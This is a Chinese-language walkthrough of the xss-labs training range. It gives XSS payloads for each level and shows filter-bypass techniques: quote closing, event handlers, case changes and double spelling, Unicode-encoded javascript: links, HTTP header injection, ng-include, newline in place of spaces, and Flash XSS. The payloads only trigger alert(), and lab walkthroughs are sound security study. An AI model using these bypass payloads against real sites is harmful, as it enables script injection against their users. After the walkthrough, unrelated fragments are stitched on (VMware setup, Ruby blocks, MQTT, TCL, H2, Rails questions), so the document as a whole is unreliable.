目录
啥都不懂的童鞋,可参考文章
xss概念理解:XSS跨站脚本攻击
xss常见标签:XSS常见触发标签
xss-labs下载地址https://github.com/do0dl3/xss-labs
查看网站源码,可以发现get传参name的值test插入了html里头,还回显了payload的长度

直接上payload,插入一段js代码,get传参
url?name=<script>alert()</script>
当然也能传其他的东西过掉第一关,建议参考XSS常见的触发标签

我们在看一下这关的源码

没有啥过滤的,很普通,单纯插入即可
本关小结: JS弹窗函数alert()
查看网站源码

第一个test可以跟上次一样直接插入js即可,我们先试试看
<script>alert()</script>
没成功,看一下源码

第一个test进行了html实体转义,但是第二个没有,我们只需要闭合掉双引号即可,构造payload
"> <script>alert()</script> <"

再看一下源码

果然进行了html实体转化
本关小结:闭合绕过
先输入123456,然后查看网站源码

相对于上一关,这里是单引号闭合,试一下看看
'> <script>alert()</script> <'

没想到符号也被实体化了,我们看一下源码
果然被实体化了,但是htmlspecialchars函数只针对<>大于小于号进行html实体化,我们还可以利用其他方法进行xss注入,这里我们可以利用onfocus事件绕过
先简单介绍一下onfocus事件
onfocus事件在元素获得焦点时触发,最常与 <input>、<select> 和 <a> 标签一起使用,以上面图片的html标签<input>为例,<input>标签是有输入框的,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码
所以我们可以利用这个事件来绕过<>号的过滤已达到执行js的目的,构造payload
' onfocus=javascript:alert() '

然后再点击输入框触发onfocus事件即可

本关小结 :onfocus可以绕过html实体化(即<>号的过滤)
查看一下网站源码

这里是双引号闭合,<input>标签,所以我们还能继续利用onfocus事件,构建payload
" onfocus=javascript:alert() "

看一下这关的源码
这里只是把<>号给删掉了,没多做过滤
本关小结:无

这关感觉常规的方法过不去,我们先试试看
" onfocus=javascript:alert() "

果然,这里on被替换成了o_n,先看一下这关的源码

过滤了js的标签还有onfocus事件,虽然str_replace不区分大小写,但是有小写字母转化函数,所以就不能用大小写法来绕过过滤了,只能新找一个方法进行xss注入,这里我们用a href标签法,
href属性的意思是 当标签<a>被点击的时候,就会触发执行转跳,上面是转跳到一个网站,我们还可以触发执行一段js代码
添加一个标签得闭合前面的标签,构建payload
"> <a href=javascript:alert()>xxx</a> <"

之后点击xxx,触发a标签href属性即可

本关小结:可以插入标签(如<a>标签的href属性)达到js执行的效果,前提是闭合号<"">没失效

这感觉很悬,不知道过滤了啥,输入关键字测试看看
onfocus <script> <a href=javascript:alert()>

过滤了好多,看看大小写能不能绕过
OnFocus <sCriPt> <a hReF=javascript:alert()>

发现大小写没有被过滤掉,这题能利用大小写进行绕过,所以我们可以用下面的方法,构造payload
"> <sCript>alert()</sCript> <"
" Onfocus=javascript:alert() "
"> <a hRef=javascript:alert()>x</a> <"
完事查看一下这关的源码

这关甚至还过滤掉了data,但是没有添加小写转化函数 ,导致能用大写绕过
本关小结:大小写法绕过str_replace()函数
老规矩了,先上关键字试试看
" OnFocus <sCriPt> <a hReF=javascript:alert()>

传进去的值,经过转化后变成了
" focus <> <a =java:alert()>
不难发现,这里面进行了小写转化,将检测出来的on,script,href给删掉了,但是没有关系,我们可以利用双拼写来绕过,
比如on,我们可以写成oonn,当中间on被删掉的时候,就变成了on
比如script,可以写成scscriptipt,当script被删掉的时候,就变成了script
所以这关主要是双拼写绕过,方法有很多,这里我们用href属性标签,构造play
"> <a hrehreff=javasscriptcript:alert()>x</a> <"

完事我们看一下这关的源码

这关甚至还过滤掉了src和data,受不了了,居然还有我不知道的解法,我们百度找找看其他解法
第二关没啥过滤只有一个html实体转义,我们回到第二关测试一下

先试一下src,这里配合onerror属性,插入一个<img>标签,闭合掉双引号跟括号,构造payload
"> <img src='666' onerror=alert()> <"
onerror属性是指当图片加载不出来的时候触发js函数,以上面的代码为例,这里因为src指向的是值666,而不是图片的地址和base64编码啥的,就会导致触发alert函数

当然img标签还有其他姿势
①当鼠标移出图片的时候执行的属性onmouseout
"> <img src=666 onmouseout="alert()"> <"
②当鼠标移动到图片的时候执行的属性onmouseover
"> <img src=1 onmouseover="alert()"> <"
再来看看data的,这里利用iframe标签,插入一个标签data:text/html;base64, 将后面的内容进行base64解码,PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+进行base64解码后是<script>alert()</script>
"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+"> <"

虽然有弹窗,但是没有过关
,好了,下一关
本关小结:双拼写绕过删除函数,标签插入新姿势,<img>标签与<iframe>标签插入
先输入123看看啥玩意

输入的值插入了两个地方,第一个是input标签,第二个是href属性,老方法,先看看过滤了啥关键字
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>

可以发现,input标签添加了html实体转化函数还把双引号也给实体化了, 添加了小写转化函数,还有过滤掉了src、data、onfocus、href、script、"(双引号),难搞哦,看一下这关的源码

果然,但是我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议
javascript:alert()
利用在线工具进行Unicode编码后得到,在线Unicode编码解码
javascript:alert()
接着我们插入href里面

点击友情链接

本关小结: href属性自动解析Unicode编码
老套路,看看过滤了啥子
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j

emmm,小老弟怎么回事,没插入成功???
看一下这关的源码

里呢,当false等于false的时候(就是传入的值没有http://)就会执行if,为了防止false===false,我们需要向传入的值里面添加http://并用注释符注释掉否则会执行不了无法弹窗,让函数strpos返回一个数字,构造payload
javascript:alert()/* http:// */

本关小结:插入指定内容(本关是http://)绕过检测,再将指定内容用注释符注释掉即可

这里可以看到,Get传参的值,只插入了h2标签里头,额那下面的input标签啥东西,还隐藏掉了

不管那么多,老规矩,先测试一下关键字
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j

居然都被实体化了,没法子,只能看一下这关的源码了

好吧,原来还有其他隐藏的传参方法,学到了,下次就一个个测,这里是get传参t_sort,并过滤掉了<>号,不能闭合插入标签,但是我们还能用onfocus事件,因为这里输入框被隐藏了,需要添加type="text",构造payload
?t_sort=" onfocus=javascript:alert() type="text

本关小结:根据源码猜解传参的参数名,隐藏的input标签可以插入type="text"显示

<input>标签有四个值,都做了隐藏处理,不难看出,第四个名为t_ref的<input>标签是http头referer的参数(就是由啥地址转跳到这里的,http头的referer会记录有),我们先做个简单的测试来验证一下前面三个标签名,GET与POST传参都试一下看看
GET传参:
?t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j

没赋值成功,再试试看POST传参:
t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>

POST传参也不得,那应该就referer头了,用burpsuite抓包一下,添加http头
Referer: " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j

再查看一下源码

对比发现,把大于小于号><给删掉了,但是我们还能用onfocus,构造一个http头
Referer: " onfocus=javascript:alert() type="text


之后我们再看一下这关的源码

跟猜想的一样,这题还有GET传参的,但是有实体化函数在双引号就闭合不了了
本关小结:考虑一下http头传值,本关是referer,但接下来也有可能是其他头,如Cookie等

这肯定是User-Agent头了,再用burpsuite抓包一下,将User-Agent头修改为我们的测试代码
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j

再查看一下源码

跟上题一样,构造UA头
" onfocus=javascript:alert() type="text


再看一下这关的源码

跟上一关就一个http头的区别
本关小结:跟上题一样,考虑一下http头传值

名字是t_cook,考虑到是cookie头,我们先看一下这个网页的cookie,F12打开

果然是,cookie名为user,我们直接在这里改一下就好,onfocus用腻了,换成onclick,用法也差不多,改为
" onclick=alert() type="text
再刷新一下,点击框框就好了

再看一下这关的源码

一样,就一个头的区别
本关小结:还是http头传参
这关没啥交互,只是会定时转跳到一个奇怪的已经挂掉了的网站,直接看一下后端源码吧

emmm,跟网站源码一样,这题本来是利用转跳到的网站,在那网站去上传一个,属性里面含有xss代码的图片,以达到弹窗的效果,具体可参考xss-labs靶场-第十四关
由于网站挂了,这里就不能演示

可以看到这儿有个陌生的东西ng-include
ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号
我们先试试看包涵第一关,构建payload
?src='/level1.php'

所以可以随便包涵之前的一关并对其传参,以达到弹窗的效果,先测试一下过滤了啥,构造payload
?src=" ' sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
对比发现,这里有个html实体化函数在,没有删掉东西,所以不影响我们接下来的操作,我们可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的),这里我们使用img标签,可参考XSS常见的触发标签,构造payload
?src='/level1.php?name=<img src=1 onmouseover=alert()>'
当鼠标移动到图片的时候就触发了弹窗

当然也能用p标签,可以构造payload
?src='/level1.php?name=<p onmousedown=alert()>哈哈哈</p>'
点击哈哈哈即可弹窗,接下来我们看一下这关的后端源码

实体化函数,形同虚设
本关小结:ng-include文件包涵,可以无视html实体化

test插入到了center标签中,所以这里就不用闭合了,老规矩,先测试一波关键字
?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> j

对比发现,这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化,想尝试一下p标签<p οnmοusedοwn=alert()>abc</p>,谁知道也将/给替换成了空格,无奈,只好看一下后端源码

果然给过掉了,空格可以用回车来代替绕过,回车的url编码是%0a,再配合上不用/的<img>、<details>、<svg>等标签,更多标签可参考XSS常见的触发标签
随便选个标签,将空格替换成回车的url编码,构造payload
?keyword=<svg%0Aonload=alert(1)>

本关小结:回车代替空格绕过检测

先测测关键字吧
?arg01=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;

对比发现,虽然加了该死的html转义,但是这里不需要闭合符号,传入的参数都出现在了embed标签上,打开后缀名为swf的文件(FLASH插件的文件,现在很多浏览器都不支持FLASH插件了)
我们来看看embed标签是啥
embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,但是呢相对于他们,embed标签打开不了文件的时候就会没有显示的区域在,他们就能有块错误的区域
再看一下onfocus和onclick事件,这两事件是等价的,都是一触即发
支持的标签范围还广,也就是支持embed标签 ,这里呢我们可以尝试插入该标签
再看一下onmouse系列的事件
跟onfocus事件支持的标签一样
所以,这题的解法很简单,首先得用一个支持flash插件的浏览器打开本关(打开后会有个图片出来的,不支持flash插件浏览器就没有),如果不想下载的话,自己去后端改一下也行,将后端第十七关的代码(level17.php)指向的swf文件改为index.png

改为:

这样我们再去打开第十七关的网站

就有个embed标签的区域在啦,其实用不用swf文件都一样的,主要是区域,接着我们构造payload
?arg02= onclick=alert()
点击一下区域就弹窗成功了

本关小结:emm,貌似就是熟悉一下触发事件(如onclick、onmouseover)的使用
这次不改后端代码了,换个支持flash插件的浏览器,Cent Browser。
先看一下源码

源码跟上关差别不大,就是换了个swf文件,我们直接测试一波过滤了啥,构建payload
?arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;

emmm,也是只搞了个html实体化函数,也没过滤啥,感觉跟上关一样,用事件触发属性即可(如onmouse系列、onfocus、onclick等)直接上payload
?arg02= onmousedown=alert()
再点一下embed标签区域

看一下后端源码

就这点过滤。。。。
本关小结:跟上一关一样,无!

网页源码差不多,也就是只有swf文件不同的差别,直接上payload
?arg02= onmouseup=alert()
emmm,大意了,还有实体化函数在无法闭合,那就利用其他的,看了一下大佬的wp
这关用到的是Flash Xss注入,可参考
其实就是往Flash里面插入一段js代码,然后手动执行嘛,构造payload
?arg01=version&arg02=<a href="javascript:alert()">here</a>
至于为啥arg01得传version,那就得去swf反编译才能知道了

本关小结:Flash xss了解一下就行,现在许多浏览器都用不上flash插件了

这关也是有双引号,呜呜呜,不想反编译,直接参考大佬的文章
直接构建payload,

?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123

终于通关了!!!太不容易啦
在VMware16.2.4安装Ubuntu一、安装VMware1.打开VMwareWorkstationPro官网,点击即可进入。2.进入后向下滑动找到Workstation16ProforWindows,点击立即下载。3.下载完成,文件大小615MB,如下图:4.鼠标右击,以管理员身份运行。5.点击下一步6.勾选条款,点击下一步7.先勾选,再点击下一步8.去掉勾选,点击下一步9.点击下一步10.点击安装11.点击许可证12.在百度上搜索VM16许可证,复制填入,然后点击输入即可,亲测有效。13.点击完成14.重启系统,点击是15.双击VMwareWorkstationPro图标,进入虚拟机主
@作者:SYFStrive @博客首页:HomePage📜:微信小程序📌:个人社区(欢迎大佬们加入)👉:社区链接🔗📌:觉得文章不错可以点点关注👉:专栏连接🔗💃:感谢支持,学累了可以先看小段由小胖给大家带来的街舞👉微信小程序(🔥)目录自定义组件-behaviors 1、什么是behaviors 2、behaviors的工作方式 3、创建behavior 4、导入并使用behavior 5、behavior中所有可用的节点 6、同名字段的覆盖和组合规则总结最后自定义组件-behaviors 1、什么是behaviorsbehaviors是小程序中,用于实现
我已经开始学习Ruby,我已经阅读了一些教程,甚至还买了一本书(“ProgrammingRuby1.9-ThePragmaticProgrammers'Guide”),我遇到了一些以前从未见过的新东西使用我知道的任何其他语言(我是一名PHP网络开发人员)。block和过程。我想我明白它们是什么,但我不明白的是为什么它们如此伟大,以及我应该在何时何地使用它们。我到处都看到他们说block和过程是Ruby中的一个很棒的特性,但我不理解它们。这里有人能给像我这样的Ruby新手一些解释吗? 最佳答案 block有很多好处。电梯演讲:bloc
1.问题描述使用Python的turtle(海龟绘图)模块提供的函数绘制直线。2.问题分析一幅复杂的图形通常都可以由点、直线、三角形、矩形、平行四边形、圆、椭圆和圆弧等基本图形组成。其中的三角形、矩形、平行四边形又可以由直线组成,而直线又是由两个点确定的。我们使用Python的turtle模块所提供的函数来绘制直线。在使用之前我们先介绍一下turtle模块的相关知识点。turtle模块提供面向对象和面向过程两种形式的海龟绘图基本组件。面向对象的接口类如下:1)TurtleScreen类:定义图形窗口作为绘图海龟的运动场。它的构造器需要一个tkinter.Canvas或ScrolledCanva
一、什么是MQTT协议MessageQueuingTelemetryTransport:消息队列遥测传输协议。是一种基于客户端-服务端的发布/订阅模式。与HTTP一样,基于TCP/IP协议之上的通讯协议,提供有序、无损、双向连接,由IBM(蓝色巨人)发布。原理:(1)MQTT协议身份和消息格式有三种身份:发布者(Publish)、代理(Broker)(服务器)、订阅者(Subscribe)。其中,消息的发布者和订阅者都是客户端,消息代理是服务器,消息发布者可以同时是订阅者。MQTT传输的消息分为:主题(Topic)和负载(payload)两部分Topic,可以理解为消息的类型,订阅者订阅(Su
TCL脚本语言简介•TCL(ToolCommandLanguage)是一种解释执行的脚本语言(ScriptingLanguage),它提供了通用的编程能力:支持变量、过程和控制结构;同时TCL还拥有一个功能强大的固有的核心命令集。TCL经常被用于快速原型开发,脚本编程,GUI和测试等方面。•实际上包含了两个部分:一个语言和一个库。首先,Tcl是一种简单的脚本语言,主要使用于发布命令给一些互交程序如文本编辑器、调试器和shell。由于TCL的解释器是用C\C++语言的过程库实现的,因此在某种意义上我们又可以把TCL看作C库,这个库中有丰富的用于扩展TCL命令的C\C++过程和函数,所以,Tcl是
目录H2数据库入门以及实际开发时的使用1.H2数据库的初识1.1H2数据库介绍1.2为什么要使用嵌入式数据库?1.3嵌入式数据库对比1.3.1性能对比1.4技术选型思考2.H2数据库实战2.1H2数据库下载搭建以及部署2.1.1H2数据库的下载2.1.2数据库启动2.1.2.1windows系统可以在bin目录下执行h2.bat2.1.2.2同理可以通过cmd直接使用命令进行启动:2.1.2.3启动后控制台页面:2.1.3spring整合H2数据库2.1.3.1引入依赖文件2.1.4数据库通过file模式实际保存数据的位置2.2H2数据库操作2.2.1Mysql兼容模式2.2.2Mysql模式
我正在使用rails_xss运行Rails2.3.14插入。我有另一个用于创建管理仪表板View的插件。我的问题是rails_xss正在转义我的仪表板插件生成的所有HTML。有没有一种方法可以将rails_xss配置为不转义匹配example.com/admin或基于目录(app/views/admin)或任何类似的页面结果一样吗? 最佳答案 更新仪表板生成插件以使用raw或html_safe进行内容输出可能会更简单。 关于ruby-on-rails-仅在某些页面上使用rails_xss
我有一个用Rails3编写的站点。我的帖子模型有一个名为“内容”的文本列。在帖子面板中,html表单使用tinymce将“content”列设置为textarea字段。在首页,因为使用了tinymce,post.html.erb的代码需要用这样的原始方法来实现。.好的,现在如果我关闭浏览器javascript,这个文本区域可以在没有tinymce的情况下输入,也许用户会输入任何xss,比如alert('xss');.我的前台会显示那个警告框。我尝试sanitize(@post.content)在posts_controller中,但sanitize方法将相互过滤tinymce样式。例如
rails中View的解析过程是怎样的?我对View中erb标记中原始html与ruby代码的解析顺序部分感兴趣。我认为这是View代码被解析并最终发送给请求者的顺序:Controller调用ViewView代码从上到下解析当Rails在解析过程中遇到erb标记时:rails解析它并将结果附加到解析的html(这包括erb标签引用助手)一旦整个View被解析,整体结果将发送给请求者这似乎并非如此。看来View代码会扫描任何erb片段并首先解析那些片段(包括对助手的引用)。之后,rails然后从上到下解析所有View代码并将结果发送给请求者。以这个View为例:#_form.html